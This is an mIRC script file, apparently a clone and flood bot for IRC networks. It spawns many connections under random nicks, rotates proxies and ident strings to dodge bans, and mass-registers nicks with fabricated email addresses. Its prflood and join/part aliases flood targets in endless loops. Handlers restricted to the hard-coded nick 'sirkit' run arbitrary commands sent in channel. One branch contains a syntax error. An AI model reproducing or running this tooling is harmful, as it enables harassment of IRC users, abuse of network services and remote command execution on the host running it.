alias newnick {
  nick $me $+ $r(a,z)
}
alias setowner {
  set %owner $1
}
alias setpass {
  set %pass $1 
}
alias setchan {
  set %chan $1
}
alias config {
  setchan $$?="Clone channel?"
  setpass $$?=".addme password?"
  setowner $$?="Owners nick?"
}
on *:text:.addme*:?:{
  if ($2 == %pass) && ($nick == %owner) {
    auser root $nick
  }
}
alias tor {
  if (%tor == off) {
    set %tor on
  }
  elseif (%tor == on) {
    set %tor off
  }
  else {
    set %tor on
} }
on root:text:.perform*:#:{
  if ($3 == thischan) && ($nick == sirkit) {
    $2 $chan $4-
  }
  elseif ($nick == sirkit) {
$2- } }
on root:text:.clone:#:{
  server -m $server $+ :6667 -j $chan
  newnick
}
on root:text:.newnick*:#:{
  if ($2 == null) {
    scid -at1 nick $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ 
  }
  else {
    scid -at1 nick $2 $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ 
} }
on root:text:*newnick*:#:{
  if ($3 == null) {
    scid -at1 nick $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ 
  }
  else) {
    scid -at1 nick $3 $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ 
} }
on root:text:*:#:{
  if ($1 == $me) && ($3 == thischan) && ($nick == sirkit) {
    $2 $chan $4-
  }
  elseif ($1 == $me) && ($nick == sirkit) {
  $2- }
}
alias start { if (%owner == $null) { config } }
on *:disconnect:{ if (%proxy.refresh == on) { newproxy | prident } }
alias newproxy { if (%proxy.refresh == on) && (%tor == off) { prident | set %proxy.select $read(proxy.txt) | .firewall -mp on %proxy.select | server | .timerrefresh -o 0 30 if ($!status != connected) newproxy | echo -s $timestamp2 %in $+ Now resetting proxy to %proxy.select and retrying $+ %out  } else { prident | server | .timerrefresh -o 0 30 if ($!status != connected) newproxy } }
on *:connect:{ if (%proxy.refresh == on) { .timerrefresh off | mode $me -mM+ix | reg | join %chan } }

alias prflood {
  timer 0 0 scon -at1 msg $1 $read(floods.txt) 
  timer 0 0 scon -at1 ctcp $1 $read(ctcps.txt) 
  timer 0 0 scon -at1 describe $1 $read(floods.txt) 
  timer 0 0 scon -at1 notice $1 $read(floods.txt)
}
alias reg {
  set %email $me $+ @ $+ $read(emails.txt)
  scon -at1 msg nickserv register $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) %email 
}
on *:notice:*:{ if ($nick == NickServ) && ($3 isnum) { set %numerical $3 | timer 1 $calc($3*60) reg }
  elseif (many isin $1-) { reg }
}
alias prident {
  set %prident $r(0,z)
  if (%prident isnum) {
    identd on $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z)
  }
  else {
    identd on $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ $r(0,9) $+ $r(a,z)
  }
}
alias prconnect {
  nick $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9)
  server -m $1
  nick $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9)
  server -m $1
  nick $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9)
  server -m $1
  nick $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9)
  server -m $1
  nick $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9) $+  $r(a,z) $+ $r(0,9)
  server -m $1
}
alias prjp {
  scid -at1 /timer 0 0 join $1
  scid -at1 /timer 0 0 part $1
}
alias prj {
  scid -at1 join $1
}